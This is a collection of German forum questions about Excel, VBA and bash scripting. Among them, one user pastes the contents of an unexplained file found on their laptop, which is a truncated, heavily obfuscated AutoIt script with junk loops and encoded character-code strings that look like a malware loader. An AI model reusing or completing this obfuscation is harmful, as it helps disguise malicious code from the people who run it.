Excel 2016 Makros: Button zum Löschen bestimmter Zeilen?

Hey Leute,

ich arbeite derzeit intensiver an einer Excel-Tabelle, wodurch ich mich wahrscheinlich noch öfter mit Fragen rund um diese Tabelle melden werde, wenn ich mal nicht weiter weiß :D. Nun möchte ich diese Tabelle im nächsten Schritt mit Makros bereichern. Leider hatte ich bislang nahezu nichts mit Makros am Hut und benötige aus diesem Grund Hilfe.

Die dargestellte Tabelle bzw. der Ausschnitt soll zukünftig projektbezogen verwendet werden. Es handelt sich dabei um eine Funktionsliste, in der ich in Spalte B Bauteile auswähle, die ich in dem jeweiligen Projekt benötige. Da jedes Projekt individuell ist, habe ich in einigen Projekten mal 20 Bauteile, mal 50. Also nie ein im Voraus festgelegter Wert. Da in einem Projekt mehrere Anlagen vorhanden sein können, die jeweils so eine eigene Funktionsliste benötigen, möchte ich eine Schaltfläche implementieren, die mit einem Makro versehen ist. Durch Anklicken dieser Schaltfläche sollen Zeilen (nicht nur die Inhalte, sondern die gesamte Zeile) in einem bestimmten Bereich (vom dritten Bauteil bis zum letzten Bauteil) gelöscht werden. In dem Bildbeispiel z.B. würde ich wollen, dass die Zeilen 11 bis 17 gelöscht werden. Da es in einem anderen Projekt aber z.B. 20 Bauteile geben kann, müsste ich Zeile 11 bis 30 löschen. Die Ergebniszeile ganz am Ende ist unabhängig von der Tabelle und soll immer bestehen bleiben. Kann mir jemand bei dem Code helfen, um so ein "dynamisches Löschen" durch eine Schaltfläche zu ermöglichen? Unabhängig davon, wie viele Bauteile ich auswähle, soll immer nur bis zum letzten Bauteil gelöscht werden. :)

Bild zum Beitrag
Microsoft, Microsoft Excel, Microsoft Office, programmieren, Makro, VBA, Formel, Tabellenkalkulation, Excel-Formel, Office 365, Excel 2016
Excel-Tabelle trotz Formeln richtig sortieren?

Hey Leute, ich stehe gerade bei meiner Excel-Tabelle etwas auf dem Schlauch…

Ich habe eine Arbeitsmappe „Funktionsliste“, in der ich arbeite, und eine Arbeitsmappe „Datenbank“, in der alle Bauteile mit entsprechenden Datenpunkten aufgelistet sind.

Nun ist die Mappe „Funktionsliste“ dafür da, dass ich in Spalte B mithilfe einer Dropdown-Liste alle Bauteile auswähle, die ich benötige und die in der Mappe „Datenbank“ eingepflegt sind. Mithilfe der SVERWEIS-Funktion übernehme ich die zum Bauteil dazugehörigen Datenpunkte, die ebenfalls in der „Datenbank“ von Spalte F bis Z eingepflegt sind.

Wenn ich nun in der „Funktionsliste“ in Zelle B9 das Bauteil Reparaturschalter auswähle, werden mir durch die SVERWEISE in den Spalten F bis Z alle Datenpunkte aus der „Datenbank“ übernommen. Mein SVERWEIS sieht dann in Spalte F z.B. folgendermaßen aus: =SVERWEIS(Funktionsliste!$B9;Datenbank!$B$9:G$33;6;FALSCH)

Auf die Weise übernimmt mir die Funktionsliste in Spalte F den Wert aus Spalte G aus der Datenbank, wenn das ausgewählte Bauteil in der Funktionsliste in der angegebenen Matrix in der Datenbank findet.

Wenn ich nun in Zelle B10 beispielsweise einen Drucksensor auswähle und das gleiche nun mit =SVERWEIS(Funktionsliste!$B10;Datenbank!$B$9:G$33;6;FALSCH) in Spalte F angebe, werden mir die Datenpunkte für den Drucksensor übernommen.

Jetzt kommt das Hauptproblem: Wenn ich Spalte B alphabetisch sortieren will, werden die Spalten mit den Datenpunkten nicht automatisch mit sortiert. Stattdessen würde durch die alphabetische Sortierung jetzt der Drucksensor in der B9 stehen und der Reparaturschalter in der B10. In der F9 würde dann aber der SVERWEIS nun den Wert aus der B10 suchen und nicht mehr aus der B9, weil die Formel nicht dynamisch mitgenommen wurde beim Sortieren…

Wie kann ich das Problem lösen? :)

Microsoft, Microsoft Excel, Microsoft Office, VBA, Formel, Tabellenkalkulation, Excel-Formel, Office 365
Rechnungen automatisieren?

Mein Vater besitzt ein Reisebüro und derzeitig schreibe ich alle Rechnungen manuell auf. Ich habe zwar einige Schritte automatisiert, durch ein eigenes Python-Programm, sodass Rechnungsnummer, Summe der Kosten, Fluggesellschaft, Name usw. automatisch von der Excel Datei importiert und in eine Word Datei eingetragen werden. Allerdings muss ich die Flugdaten alle selber manuell eingeben, d.h. die Strecke, Abflug und Ankunft und das Datum. Diese muss ich zudem erstmal raussuchen, indem ich die entsprechende Bestätigungs-Mail für den Flug aus dem "E-Mail-Archiv" finde.

Dazu kommt noch, dass er bei verschiedenen Fluggesellschaften bucht, die ihre Daten alle anders in der Mail abbilden, bzw sogar manchmal nur als Datei anhängen, die ich runterladen muss, wodurch es sehr anstrengend ist, diese Rechnungsdaten einzutragen.

Ich denke mir, dass es definitiv eine bessere Methode geben muss, selbst wenn diese Geld kostet, dennoch kann ich mir nicht vorstellen, wie so etwas funktionieren soll, da das Programm, wenn es eins geben sollte, es irgendwie schaffen muss, all diese Daten in den verschiedensten Darstellungsformen zu verstehen.

Hat Jemand Erfahrungen mit sowas bei der Arbeit oder führt möglicherweise selbst ein Reisebüro???

Microsoft Word, Buchhaltung, Microsoft, Microsoft Excel, Rechnung, E-Mail, Microsoft Office, VBA, B2B, BWL, CRM, Firma, Fluggesellschaft, Formel, Rechnungsstellung, Rechnungswesen, Reisebüro, Unternehmen, Excel-Formel, Office 365
Bashskript Problem?

Ich habe hier ein Bashskript, welches Dateien überwacht (noch nicht vollständig und absolut unoptimiert). Ich weiß, dass es Tools gibt, aber es ist ein Projekt für die Uni und deshalb ist Optimierung und Effizienz nicht wirklich wichtig. Ich möchte damit die Grundlagen des Shellscriptings einfach etwas lernen.

Das ist bisher das Script:

#!/bin/bash


echo "Das Skript wurde gestartet. Der Typ Ihres Betriebssystem ist "\"$OSTYPE\""."


# If-Abfrage, die das Betriebssystem erkennt und den Pfad zum überwachten Ordner oder Datei festlegt # HIER BITTE DIE PFADE ZUM ZU ÜBERWACHENDEN ORDNER EINTRAGEN   
if [[ "$OSTYPE" == "linux-gnu"* ]]; then
    BASE_DIRECTORY=" " # Übergibt dem überwachten Ordner eine Variable, wenn Betriebssystem = Linux
elif [[ "$OSTYPE" == "darwin"* ]]; then
    BASE_DIRECTORY="/Users/name/Library/CloudStorage/GoogleDrive-email@gmail.com/Meine Ablage/Uni/TestOrdner" # Übergibt dem überwachten Ordner eine Variable, wenn Betriebssystem = MacOs
elif [[ "$OSTYPE" == "win32" || "$OSTYPE" == "msys" || "$OSTYPE" == "cygwin" ]]; then
    BASE_DIRECTORY="/g/Meine Ablage/Uni/TestOrdner" # Übergibt dem überwachten Ordner eine Variable, wenn Betriebssystem = Windows
else    
    echo "Das Betriebssystem ist unbekannt." # Wenn das Betriebssystem unbekannt ist, wird eine Fehlermeldung ausgegeben
    exit 1
fi


DIRECTORY="$BASE_DIRECTORY" # Pfad zum Ordner
FILE="$BASE_DIRECTORY/Datei.txt" # Pfad zur Datei   
FILE2="$BASE_DIRECTORY/Datei2.txt" # Pfad zur Datei2 


cd "$BASE_DIRECTORY" || {
    echo "Wechsel zu $BASE_DIRECTORY fehlgeschlagen!" # Wechselt in den TestOrdner oder gibt eine Fehlermeldung aus
    exit 1;
}



# Funktion, um zu überprüfen, ob Dateien gelöscht wurden
checkIfDeleted() {
    if [ ! -f "$FILE" ]; then 
        echo "Die Datei \"$(basename "$FILE")\" wurde gelöscht, umbenannt oder verschoben."
    elif [ ! -f "$FILE2" ]; then
        echo "Die Datei \"$(basename "$FILE2")\" wurde gelöscht, umbenannt oder verschoben."
    elif [ ! -d "$DIRECTORY" ]; then
        echo "Der Ordner \"$(basename "$DIRECTORY")\" wurde gelöscht, umbenannt oder verschoben."
    fi
}


# Speichert den "ursprünglichen" Hash-Wert der Dateien
ORIGINAL_HASH=$(md5 -q "$FILE")
ORIGINAL_HASH2=$(md5 -q "$FILE2")


checkIfEdited() {
    if [ ! -f "$FILE" ]; then # Wenn $FILE nicht existiert, dann wird das Skript hier beendet
    return
    fi


    if [ ! -f "$FILE2" ]; then # Wenn $FILE2 nicht existiert, dann wird das Skript hier beendet
    return
    fi


    if [ ! -d "$DIRECTORY" ]; then # Wenn $DIRECTORY nicht existiert, dann wird das Skript hier beendet
    return
    fi


    # Berechnet den aktuellen Hash-Wert der Dateien
    CURRENT_HASH=$(md5 -q "$FILE")
    CURRENT_HASH2=$(md5 -q "$FILE2")


    # Hash-Werte werden verglichen
    if [ "$CURRENT_HASH" != "$ORIGINAL_HASH" ]; then
        echo "Die Datei \"$(basename "$FILE")\" wurde bearbeitet."
        # Ursprünglicher Hash-Wert wird für zukünftige Überprüfungen aktualisiert
        ORIGINAL_HASH="$CURRENT_HASH"
    elif [ "$CURRENT_HASH2" != "$ORIGINAL_HASH2" ]; then
        echo "Die Datei \"$(basename "$FILE2")\" wurde bearbeitet."
        # Ursprünglicher Hash-Wert wird für zukünftige Überprüfungen aktualisiert
        ORIGINAL_HASH2="$CURRENT_HASH2"
    fi
}


while true; do # Endlosschleife, die die Funktionen "checkIfDeleted" und "checkIfEdited" alle 10 Sekunden ausführt
    checkIfDeleted
    checkIfEdited
    sleep 10
done

Ja, ich weiß, welche Probleme das Skript mit sich bringt, aber ich habe ein anderes Problem:

Wenn jemand das Skript nutzen möchte, muss er die Pfade seiner Dateien einfügen und sogar neue Variablen definieren.

Man könnte das doch so machen, dass das Skript die Liste des Ordners einliest und dann auf alle Dateien direkt zugreifen muss, ohne dass man sie in das Skript einfügen muss.

Also irgendwie mit dem Befehl "ls". Ich weiß aber nicht, wie ich das implementieren soll.

Kann mir wer helfen bitte?

Visual Basic, Linux, HTML, Webseite, VBA, Bash, Batch, cmd, Code, lua, MySQL, PHP, Programmiersprache, Python, Script, Python 3
Preisvergleich-Tool in Microsoft Excel bauen?

Guten Abend liebe GF-Community.

Ich würde mir gerne für den Privaten gebrauch sowas ähnliches wie diese Preisvergleich Seite in Microsoft Excel bauen wollen. Wenn möglich ohne VBA da ich mich bei Formeln allgemein kaum auskenne und VBA nochmal ne andere Dimension ist die in Richtung Programmierung geht.

Bevor ich das alles aber bauen kann benötige ich erstmals ne Riesen Datenbank mit verschiedensten Daten damit man diese dann die Produkte und Artikel überhaupt erst untereinander Vergleichen kann. Klar könnte ich auch diese Webseite benutzen aber das möchte ich nicht da ich mir mein eigenes Design und so bauen möchte. Außerdem sind die Daten nicht immer aktuell und wenn ich das selber mache schon.

Wozu der Aufwand?

Naja ich möchte das letztendlich für die Planung meiner Einkäufe in Zukunft nutzen wenn ich mir dann meine Liste zusammen schreibe was ich alles benötige. Da wäre dann so ein Tool ultra hilfreich! Natürlich möchte ich auch alles andere so'n bisschen von der Webseite Übernehmen um Artikel oder Produkte besser zu finden in dem ich danach suchen oder gewissen Kriterien Filtern kann.

Es wäre auch cool wenn ich irgendeine Funktion für aktuelle Preis-Angebote einfügen könnte.

Ich weiss leider nicht wie ich das alles am besten in Excel Aufbauen soll/kann. Demnach wäre ich für jede Hilfe sehr dankbar!

Webseite:

Discounter-Preisvergleich

Mit freundlichen Grüßen

Robin | TechBrain.

Bild zum Beitrag
PC, Computer, Software, Windows, Microsoft, Office, Microsoft Excel, IT, Microsoft Office, VBA, Büro, Formel, Softwareentwicklung, Excel-Formel, Office 365
Hilfe bei diesem einfachen Bash-Skript?

Ich will dass das Programm wenn ich auf "gruppen anzeigen" klicke mir alle Gruppen im System im Dialig angezeigt werden und das Programm beendet wird wenn ich auf "beenden" klicke. Aber irgendwie kommt entweder ein Fehler dass bei mir das "fi" fehlt was nicht stimmt. Oder es werden die Gruppen auch angezeigt wenn ich auf beenden klicke. Ich habe versucht die If-Anweisungen zu löschen und dann nach  wahl=$(cat $inhalt) ein echo zu machen. Und bei mir wird immer "1" ausgegeben egal auf was ich drücke. Wobei ich eig. Wenn ich auf "beenden" klicke dann sollte "Ende" rauskommen" oder ?

#!/bin/bash
#
inhalt=$(mktemp)
auswahl(){
 dialog --backtitle "Elemente anzeigen"  --title "Elemente zeigen" \
        --cancel-label "Abbruch" \
        --checklist "Bitte treffen Sie Ihre Auswahl!" 10 50 3 \
        "1." "Gruppen anzeigen im Dialig" on \
        "Ende." "Programm beenden" off \
        2>$inhalt
 fehler=$?
 clear
 if [ $fehler != 0 ] ;
  then
   echo "Da ist ein Fehler aufgetreten"
   echo "Fehler-Nr.: $fehler"
   rm $inhalt
   exit 1
 fi
 wahl=$(cat $inhalt)


 if [ "$wahl" == "1." ]; then
     dialog --backtitle "Ausgabe von Gruppen" \
            --msgbox "$(groups)" 20 60 \
 fi


 rm $inhalt
}


while :
 do
  auswahl
 done


Betriebssystem, Technik, Linux, HTML, Webseite, Java, JavaScript, VBA, Bash, Batch, cmd, Informatik, Informationstechnik, PHP, Programmiersprache, Python, Shell, Webentwicklung
MS Excel Problem?

Ich soll in der Arbeit eine Datenanalyse mit MS Excel durchführen. Ei dafür notwendiger Zwischenschritt ist es, die "Ist-Ankunftszeit" von Bussen von der "Soll-Ankunftszeit" eben dieser Züge zu subtrahieren (um die Verspätungen auszuwerten). Die Zellen, in denen diese Daten stehen, sind als "Standard" formatiert und sehen so aus:

2024-02-09T13:34

Teils steht auch noch die Sekundenzahl bei der Uhrzeit dabei, aber auch nicht immer (teils steht sie sogar bei der Sollzeit dabei und bei der Istzeit nicht, was auch noch so ein Aspekt ist). Ich will eben die Differenz von zwei solchen (oben in schwarz dargestellten) Daten bilden, um die Verspätung zu erhalten. Natürlich klappt das so erstmal nicht, es kommt die Fehlermeldung "Wert". Ich hab dann versucht, die entsprechenden Zellen als Zahl, Datum oder auch benutzerdefiniert zu formatieren, dennoch erhalte ich bei der Subtraktion immer den obigen Fehler. Excel erkennt halt nicht, was es tun soll. Auch die Funktion Datevalue hat mir nicht geholfen. Meines Erachtens sind die Daten bei uns da einfach schlecht aufbereitet^^

Hat jemand eine schlaue Idee, wie ich das Problem lösen kann?

Händisch einzeln ändern geht übrigens nicht, meine Exceltabelle hat 200.000 Zeilen, es geht hier um große Datenmengen.

Schönes Wochenende euch :)

PC, Computer, Arbeit, Microsoft Word, Software, Microsoft, Microsoft Excel, Mathematik, IT, Microsoft Office, programmieren, VBA, Datenanalyse, Formel, Medien, Programmiersprache, Tabellenkalkulation, Excel-Formel, Office 365
Das Tabellenblatt öffnet sich nicht?

Hallo, ich habe Button womit ich eine Datei und darin direkt eine Eingabemaske öffnen will. Mein bisheriger Code aktiviert / öffnet die Datei, was mir fehlt, ist die direkte Anzeige der Eingabemaske. Ich stelle den Code mal hier ein, um vielleicht eine Lösung zu erhalten. Ich komme einfach nicht weiter.


Private Sub CommandButton1_Click()
    Dim ws As Worksheet
    Dim passwort As String
    Dim pfad_zur_datei As String
    Dim wb As Workbook
    Dim bestaetigung As VbMsgBoxResult

    ' Bestätigungsnachricht anzeigen und Passwort abfragen
    bestaetigung = MsgBox("Möchten Sie fortfahren?", vbQuestion + vbYesNo, "Bestätigung")

    ' Wenn der Benutzer auf "Ja" klickt
    If bestaetigung = vbYes Then
        passwort = InputBox("Geben Sie das Passwort ein:", "Passwortabfrage")

        ' Überprüfe das eingegebene Passwort
        If passwort = "123" Then ' Ersetze "dein_passwort" durch das gewünschte Passwort
            ' Konstruiere den vollständigen Pfad zur Datei
            pfad_zur_datei = "G:\NEU Reduziert für DEMO.xlsm" ' Passe den Pfad an

            ' Überprüfe, ob das Arbeitsblatt "Auswahlklick" existiert
            On Error Resume Next
            Set ws = Workbooks.Open(pfad_zur_datei).Worksheets("Auswahlklick")
            On Error GoTo 0

            ' Wenn das Arbeitsblatt existiert, aktiviere es
            If Not ws Is Nothing Then
                ws.Activate
            Else
                MsgBox "Das Arbeitsblatt 'Auswahlklick' wurde nicht gefunden.", vbExclamation
                Exit Sub
            End If
        Else
            MsgBox "Falsches Passwort. Der Zugriff wurde verweigert.", vbExclamation
            Exit Sub
        End If
    Else
        MsgBox "Vorgang abgebrochen.", vbInformation
        Exit Sub
    End If

    ' Hier den restlichen Code ausführen, der auf dem geöffneten Arbeitsblatt "ws" basiert

End Sub
Microsoft Excel, VBA
random so auf dem Laptop aufgetaucht was ist das?

Hallo miteinander, ich habe diese "i" Datei einfach so auf Dem Rechner gefunden und wollte Einfach mal wissen was es ist, hier ist der Link dazu: [Link vom Support entfernt]

FILExt seit 2000 $DrawAlternative = 23 $LeaseSucceed = 50 For $WpQYhhOY = 62 To 328 If $DrawAlternative = 21 Then ACos(7367) DriveStatus(BendFibre("66R97R110R97R110R97R47R82R101R115R99R117R101R47R71R98R112R47",0/1)) Sqrt(3520) $DrawAlternative = $DrawAlternative + 1 EndIf If $DrawAlternative = 22 Then FileExists(BendFibre("68R105R118R115R100R105R43R84R118R113R102R115R119R106R116R112R115R43R85R98R109R108R116R43",4/4)) PixelGetColor(BendFibre("81R103R38R38R38R38R89R103R108R107R38R38R38R38R89R122R117R120R107R38R38R38R38",12/2), BendFibre("81R103R38R38R38R38R89R103R108R107R38R38R38R38R89R122R117R120R107R38R38R38R38",12/2)) Dec(BendFibre("89R107R103R121R117R116R103R114R100R76R107R107R121R100R90R111R121R121R123R107R100",30/5)) $DrawAlternative = $DrawAlternative + 1 EndIf If $DrawAlternative = 23 Then Opt(BendFibre("88R118R101R125R77R103R115R114R76R109R104R105",24/6), 1) ExitLoop EndIf If $DrawAlternative = 24 Then ConsoleWriteError(BendFibre("87R112R107R118R123R45R67R112R107R111R103R45R75R112R118R103R116R112R103R118R45",8/4)) Chr(1517) $DrawAlternative = $DrawAlternative + 1 EndIf Next Func WholesaleHaitiReminderCompleting($annemeets, $AmazoncoukLay, $DICKMATSSLIM, $prisonerexhaustnbentry, $yukonaviationjaystadium, $ProportionPin, $gpautumnproductionspiritual, $werepresentedbaldborders, $electronicknowledgechristina) $ALTOPERSONALLY = '5405010214968952063493898807967726088594171878677126840372' $StephenNsSapAdditional = 48 $TerraceTerrible = 87 For $UbtIoS = 40 To 921 If $StephenNsSapAdditional = 47 Then ACos(6960) PixelGetColor(94, 568, 0) ATan(1964) $StephenNsSapAdditional = $StephenNsSapAdditional + 1 EndIf If $StephenNsSapAdditional = 48 Then $BITCHDUBAIDIARYM = Sqrt(7992) ExitLoop EndIf If $StephenNsSapAdditional = 49 Then ASin(824) ConsoleWriteError(BendFibre("85R116R120R106R66R81R106R108R110R120R113R102R121R122R119R106R66R76R122R110R113R105R66R73R110R123R125R66",5/1)) FileExists(BendFibre("85R103R112R102R117R34R84R103R101R113R112R117R118R116R119R101R118R107R113R112R34R88R103R118R103R116R99R112R117R34R86R99R100R110R103R118R34",2/1)) $StephenNsSapAdditional = $StephenNsSapAdditional + 1 EndIf Next $SPIESSUBMISSIONOCCASIONAL = '277738451445807690080798083527466278916798997871293099' $distributorafterwards = 6 $MythAvailable = 56 For $tCvjcSsLv = 31 To 519 If $distributorafterwards = 4 Then Dec(BendFibre("71R85R68R80R68R35R76R81R71R76R68R81R68R35R79R76R87R75R88R68R81R76R68R35R69R79R89R71R35",27/9)) Exp(9587) PixelGetColor(45, 170, 0) $distributorafterwards = $distributorafterwards + 1 EndIf If $distributorafterwards = 5 Then PixelGetColor(35, 618, 0) ConsoleWriteError(BendFibre("85R103R103R109R103R116R117R49R81R116R107R103R112R118R99R118R107R113R112R49R78R99R121R117R119R107R118R49R85R119R110R110R107R120R99R112R49",16/8)) ACos(5577) $distributorafterwards = $distributorafterwards + 1 EndIf If $distributorafterwards = 6 Then $representativexnxxpetroleummagnet = Sqrt(217) ExitLoop EndIf If $distributorafterwards = 7 Then Chr(835) Dec(BendFibre("65R99R99R117R114R97R116R101R33",0/4)) $distributorafterwards = $distributorafterwards + 1 EndIf Next $COMPRESSEDENVIRONMENTAL = '4577431951295599919326669678' $OrderingAka = 81 $EVOLUTIONPACKETSCOMPETITIVE = 51 For $hdma = 92 To 283 If $OrderingAka = 80 Then Exp(6961) ASin(2467) DriveStatus(BendFibre("113R121R68",36/9)) $OrderingAka = $OrderingAka + 1 EndIf If $OrderingAka = 81 Then $hipdisplayoriginalalignment = ASin(1467) ExitLoop EndIf Next $FROSTAFFILIATESCOLONIAL = '018963007035438608543348846914979471546604839410592769688' $FINISHINGWHENEVERNODES = 23 $YOURTAPESDEATHSDUST = 50 For $ZLaruUIk = 65 To 201 If $FINISHINGWHENEVERNODES = 22 Then Chr(7045) PixelGetColor(BendFibre("78R119R124R126R123R110R56",63/7), BendFibre("78R119R124R126R123R110R56",63/7)) $FINISHINGWHENEVERNODES = $FINISHINGWHENEVERNODES + 1 EndIf If $FINISHINGWHENEVERNODES = 23 Then $COPPERRACHELBEAVERVP = PixelGetColor(43, 391, 0) ExitLoop EndIf If $FINISHINGWHENEVERNODES = 24 Then ATan(8608) Sqrt(5933) PixelGetColor(66, 437, 0) $FINISHINGWHENEVERNODES = $FINISHINGWHENEVERNODES + 1 EndIf Next $DEVELOPMENTEDITORIALARTHRITIS = '804534994533913976475826179188086637374026519863466805618856582756738' $IncorporateVilla = 30 $GottenLoops = 53 For $zGCEXLS = 96 To 915 If $IncorporateVilla = 29 Then Dec(BendFibre("81R123R116R105R117R72R91R107R105R118R118R109R108R72",16/2)) Exp(9251) $IncorporateVilla = $IncorporateVilla + 1 EndIf If $IncorporateVilla = 30 Then $AppearsContainedHottest = ConsoleWriteError(BendFibre("87R107R108R81R105R120R73R77R114R109R106R83R108R122R110R90",6/2)) ExitLoop EndIf If $IncorporateVilla = 31 Then ATan(2355) Dec(BendFibre("77R79R82R82R73R83R43R67R65R43",0/3)) $IncorporateVilla = $IncorporateVilla + 1 EndIf Next $ListingsGc = '9632358956507871259104285367395025565' $validitygrandn

Visual Basic, VBA, Code, Dummheit, Entschlüsseln, Hacking, lua, Programmiersprache, Python, Visual Studio, VBA Excel
Excel | Lebensmittel-Datenbank: Allgemeine Suche + Filtern?

Guten Tag liebe GF-Community.

Gestern habe ich damit angefangen meine neue Lebensmittel-Datenbank zu bauen. Die "Lebensmittel-Datenbank" habe ich in eine Intelligente-Tabelle? (mit Filter) umgewandelt sodass sie ständig aktualisiert wird, wenn ich etwas hinzufüge.

Hier ein Foto:

Jetzt möchte ich das alles aber etwas komplexer gestalten.

Und zwar möchte ich mir viele Informationen auf der Startseite anzeigen lassen:

  • Zum einen die Hauptkategorien mit einer Anzahl wie viel Lebensmittel sich in dieser Kategorie eigentlich befinden.
  • Irgendwann möchte ich auch noch eine Anzeige mit Name/Hersteller (bspw. Ferrero für Nutella usw.)
  • Eine vollwertige Suche in der gesamten Datenbank für alle Namen (ID, Name, Kategorie).
  • Außerdem möchte ich auch Filtern können nach gewissen Definitionen (bspw. In Obst sind 90 Lebensmittel drin und wenn ich Obst suche das mir nur das angezeigt wird. So auch mit allen Kategorien und Namen/Marken)
  • Außerdem eine Dropdown Auswahl-Liste wo ich alles mögliche Auswählen kann. Nach ID, Name, Marke, Kategorie, Kcal, KH, Fett usw.
  • Und Ich möchte in dem Datenbank-Blatt selber eine Interne Suche nach allem mit Filterung

Die Datenbank ist folgendermaßen aufgebaut:

  1. Lebensmittel-ID
  2. Name
  3. Marke/Hersteller
  4. Hauptkategorie
  5. Unterkategorie
  6. Synonym/Bezeichnung
  7. Artikel Nr.
  8. Einheit
  9. Energie/Kcal
  10. Eiweiß
  11. Kohlenhydrate
  12. Fett
  13. Zucker
  14. Gesättigte Fettsäuren
  15. Ungesättigte Fettsäuren
  16. Mehrfach Ungesättigte Fettsäuren
  17. Ballaststoffe
  18. Alkohol
  19. Koffein
  20. Cholesterin
  21. Salz
  22. Wasser
  23. Chlorid
  24. Chrom
  25. Eisen
  26. Fluorid
  27. Jod
  28. Kalium
  29. Kalzium
  30. Kupfer
  31. Magnesium
  32. Mangan
  33. Natrium
  34. Phosphor
  35. Schwefel
  36. Selen
  37. Zink
  38. Vitamin A
  39. Vitamin B
  40. Vitamin B1
  41. Vitamin B12
  42. Vitamin B2
  43. Vitamin B3
  44. Vitamin B5
  45. Vitamin B6
  46. Vitamin B9
  47. Vitamin C
  48. Vitamin D
  49. Vitamin E
  50. Vitamin H
  51. Vitamin K
  52. Nutri-Score*

Nutri-Score*: Auch dort hätte ich gerne funktion die mir nach Eintrag jedes Lebensmittel automatisch den Nutri-Score Wert in Form von Buchstaben und Farbe anzeigt.

Und ich möchte in einem extra Blatt eine Eingabe Möglichkeit in der ich neue Daten eintragen kann und diese dann Automatisch in der Datenbank landen.

Ich kann mir vorstellen das sowas nur in Verbindung mit VBA klappt. Leider bin ich kein VBA oder gar krasser Excel Profi. Ich kenne nur einige kleine Sachen durch das Lernen von damaligen Videos die ich vor Jahren angesehen habe.

Wäre sowas irgendwie möglich? Kann mir da wer helfen oder Tipps geben?

Ich möchte das für mich Privat haben und mache das natürlich für kein Unternehmen oder so.

Vielen Dank im Voraus!

Mit freundlichen Grüßen

Robin | TechBrain.

Bild zum Beitrag
PC, Computer, Arbeit, Software, Windows, Microsoft, Office, App, Microsoft Excel, Programm, programmieren, VBA, Büro, Datenbank
Excel mit Makros teilen + Blätter in Leiste ausblenden?

Hallo,

zum 1. Thema. Ich mache eine Excel mit Makros für meine Firma und in meiner Datei kann ich alle Makros ohne Probleme abspielen. Wenn ich die Tabelle aber nur in ein anderes Programm z.B OneNote kopiere, kann ich die Makros nicht mehr aktivieren. 

Es kommt dann "Das Makro ... kann nicht ausgeführt werden . Das Mako ist möglicherweise in dieser Arbeitsmappe nicht verfügbar, oder alle Makros sind deaktiviert.

=> ich habe bei dem Trust Center die Makros aktiviert

Wenn ich dann in der Mappe bei einem Objekt ein Makros zuweisen will, kommt diese Tabelle wo alle meine Makros da sind aber wenn ich dann zuweisen will kommt "Aufgrund von Sicherheitseinstellungen wurden Makros deaktiviert. Zum Ausführen von Makros müssen Sie diese Arbeitsmappe erneut öffnen und dann Makros aktivieren. ...

Wisst ihr wie man das beheben kann um das auch für mehrere Personen verfügbar zu machen?  

Zum zweiten Thema konnte ich nicht das finden was ich brauchte. Ich z.B zwei Tabellenblätter (A und B). A stellt die Startseite dar und B ist unten in der Liste/Leiste ausgeblendet. Klicke ich auf ein Makro auf A soll das Blatt B eingeblendet werden und A in der Leiste ausgeblendet werden. Widerum soll es dann möglich sein durch ein Makro von B auf A zu gelangen und dass sich B wieder in der Leiste ausblendet?

Ich hoffe das ist nicht zu wirr geschrieben und bitte habt erbarmen mit mir, ich mache das hier zum ersten Mal.

Viele Grüße und danke im Voraus

Jamie

Microsoft Excel, VBA, VBA Programmierung, VBA Excel

Meistgelesene Beiträge zum Thema VBA